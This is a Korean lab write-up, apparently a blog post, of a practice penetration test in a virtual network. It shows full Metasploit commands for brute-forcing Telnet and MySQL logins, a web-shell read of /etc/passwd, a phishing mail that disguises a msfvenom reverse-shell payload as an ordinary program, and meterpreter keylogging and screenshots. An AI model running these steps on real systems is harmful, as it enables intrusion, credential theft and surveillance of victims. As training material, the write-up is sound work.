INSPECT
[Metasploit을 이용한 모의해킹] - 피싱메일 본문
[Metasploit을 이용한 모의해킹] - 피싱메일
Metasploit을 이용한 모의해킹(피싱메일)이다. 가상망은 ICT청년취업아카데미 과정의 이성원 포렌식 강사님이 GNS3를 이용해 만들어 주셨다.
0. 주어진 정보
네트워크 172.10.10.0/24
게이트웨이 .52/24
공격대상 도메인 victim.com
1. IP주소 획득, 네트워크 스캐닝
(1) victim.com의 ip주소를 알아내기 위해 nslookup 명령을 사용했다.
www.victim.com의 ip주소는 172.10.10.2 라는 것을 확인할 수 있다.
(2) 네트워크 정보가 주어졌기 때문에 스캐닝을 할 수 있다.
nmap을 이용해 네트워크 스캐닝을 했다,
nmap -sT -sV -O 172.10.10.0/24
nmap은 Windows에 설치해서 진행했다. 스캐닝을 통해 나온 결과는 23,80,3306 포트가 open되어 있다.
80포트가 열러 있기 때문에 웹으로 접속해 볼 수 있다.
kali-linux에 설치되어 있는 dirbuster로 디렉터리 구조를 파악할 수 있다.
* 웹 퍼징(Web Fuzzing) 도구
웹 퍼징 도구는 웹 사이트에서 추측을 통해서 알아낼 수 있는 페이지들을 자동으로 찾아주는 역할을 한다.
DirBuster는 OWASP에서 제작한 가장 대중적인 웹 퍼징 도구 중 하나이다.
Target URL을 적어주고 스캐닝 타입을 list로 한다면 사전 리스트를 지정, Brute Force방식으로 한다면 체크 후 start해주면 된다.
2. 웹 취약점을 이용한 파일 업로드 공격
웹의 board 주소가 존재하는 것을 확인한 뒤 ~board/ 로 디렉터리 리스팅을 해봤다.
여러 게시판 주소 중 첫번째 게시판으로 들어가 업로드 취약점이 존재하는 것을 확인했다.
php 스크립트를 작성하여 올려봤다.
주소창의 파라미터 값을 조정해 명령할 수 있다. 계정정보를 빼내기 위해 cat /etc/passwd 명령을 넣었다.
UID가 500번 이상인 사용자 계정 두개(board, tester)를 획득할 수 있다.
kali-linux 기능을 이용해 telnet과 mysql의 id,password를 알아낼 수 있다.
msfconsole
use auxiliary/scanner/telnet/telnet_login
set rhosts 172.10.10.2
set user_file /tmp/id.txt
set pass_file /tmp/pw.txt
set stop_on_success true
set threads 256
run
msfconsole
use auxiliary/scanner/mysql/mysql_login
set rhosts 172.10.10.2
set user_file /tmp/id.txt(root)
set pass_file /tmp/pw.txt(root)
set stop_on_success true
set threads 256
run
위의 명령은 스크립트문으로 만들어 한번에 실행시킬 수도 있다. 예) msfconsole -r telnet_login.rc
telnet의 id, password는 tester, tester 이며 mysql은 root, root 인 것을 확인했다.
3. 메일로 악성코드 유포(피싱)
victim.com의 메일서버주소는 8.8.8.8인 것을 알아냈다.
mail.victim.com을 이용해 피싱메일을 linux계정(관리자)에게 보내도록 한다.
메일은 AYmail 프로그램을 사용하면 실제 존재하지 않는 계정으로 메일을 보낼 수 있다.
linux계정의 관리자는 교수라고 가정하여 AYmail을 사용하여 메일을 보냈다. (첨부파일로 Payload 공격 코드를 일반파일로 위장해 보낸다.)
linux관리자는 hong이라는 가상의 사용자에게서 학사일정관리 프로그램으로 위장한 첨부파일을 받게된다.
서버에서 파일을 열면 위 사진처럼 접속화면이 뜬다. 공격자는 서버를 마음대로 할 수 있게 된다.
안 당할 것 같지 않지만 이런식의 위장메일로 악성코드를 침투시키는 사건이 굉장히 많다.
4. 백도어 생성
공격코드 생성과정과 Windows xp 가상머신을 통해 어떠한 공격이 이루어지는지 알아본다.
kali-linux 공격 모듈인 msfvenom을 이용해 Payload를 사용하여 공격코드를 자동으로 생성한다.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=공격대상ip LPORT=4444 -f exe > AUTOUPDATER.exe
가상환경에서 진행하므로 LHOST에는 호스트ip를 넣은 뒤, 포트를 4444로 넣고 Port Fowarding을 설정해줬다.
자동으로 생성된 공격코드는 AUTOUPDATER.exe라는 파일명으로 만들었고 파일이 생성된 것을 확인할 수 있다.
다음으로 msfconsole로 실행할 백도어를 생성한다.
Payload_Listen.rc
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.0.8
set LPORT 4444
set ExitOnsession false
exploit -j -z
msfconsole -r Payload_Listen.rc 명령어로 한번에 실행한다.
kali-linux 공격자는 4444포트를 열고 대기중인 것이다. 메일로 파일을 첨부해서 받았다고 가정. 실행시켰을 때의 화면은 다음과 같다.
실행되면 공격자 kali-linux에서 피해자가 접속했다는 정보를 받는다.
연결된 세션들을 보려면 show sessions 명령을 이용해 볼 수 있다. 현재 4번 세션이 연결되어 있다.
sessions -i 4 명령을 통해 4번 세션을 조작할 수 있다. meterpreter 프롬프트가 떨어지면 성공이다.
meterpreter는 help명령으로 사용할 수 있는 기능들에 대한 설명을 볼 수 있다. 몇 가지 기능만 시험해봤다.
연결된 세션의 시스템 정보를 sysinfo 명령으로 간단히 볼 수 있다. 현재 피해자의 화면을 screenshot명령으로 스크린샷을 찍어 저장하는 기능도 있다. 결과는 아래와 같다.
키로거 기능도 가능하다. 피해자가 아래 사진과 같이 타이핑을 했다고 가정한다.
공격자는 keyscan기능을 이용해 위 사진과 같이 키로그를 dump할 수 있다.
execute 기능을 이용해 원하는 프로그램을 실행할 수도 있다. 위의 예로 execute -f cmd.exe 명령을 통해 피해자의 컴퓨터에서 cmd.exe를 킨 뒤 shell명령을 통해 공격자 자신이 사용 가능하다. 따라서 이 명령을 통해 추가적인 공격이 가능해진다.
피해자의 컴퓨터를 shutdown 시킬 수도 있다.
5. 결론
가상으로 간단한 모의해킹을 진행해보며 많은 것을 새롭게 배울 수 있었다. 침해사고 후 분석을 할 때 직접 해킹을 해봐야 자신의 분석 가능한 영역이 넓어진다는 것을 알 수 있었다.
'모의해킹' 카테고리의 다른 글
[Burp Suite] Burp Suite CA 인증서 오류 해결방법 (0) | 2019.04.04 |
---|---|
모의해킹 참고 도구, 사이트 모음 (0) | 2017.02.11 |